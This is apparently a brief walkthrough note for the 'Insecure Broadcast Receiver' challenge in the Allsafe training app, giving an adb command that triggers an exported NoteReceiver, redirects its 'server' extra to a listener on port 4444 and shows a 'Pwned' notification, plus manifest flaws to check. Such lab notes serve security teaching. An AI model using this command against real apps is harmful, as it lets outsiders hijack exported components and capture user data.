Insecure Broadcast Receiver
Sending broadcast intent
adb shell am broadcast -a infosecadventures.allsafe.action.PROCESS_NOTE \
--es server "http://192.168.250.40:4444" \
--es note "Hello, World" \
--es notification_message "Pwned" \
-n infosecadventures.allsafe/.challenges.NoteReceiver
What to check in AndroidManifest.xml
exported="true"- vulnerability!- No permission checks
- Implicit intents without validation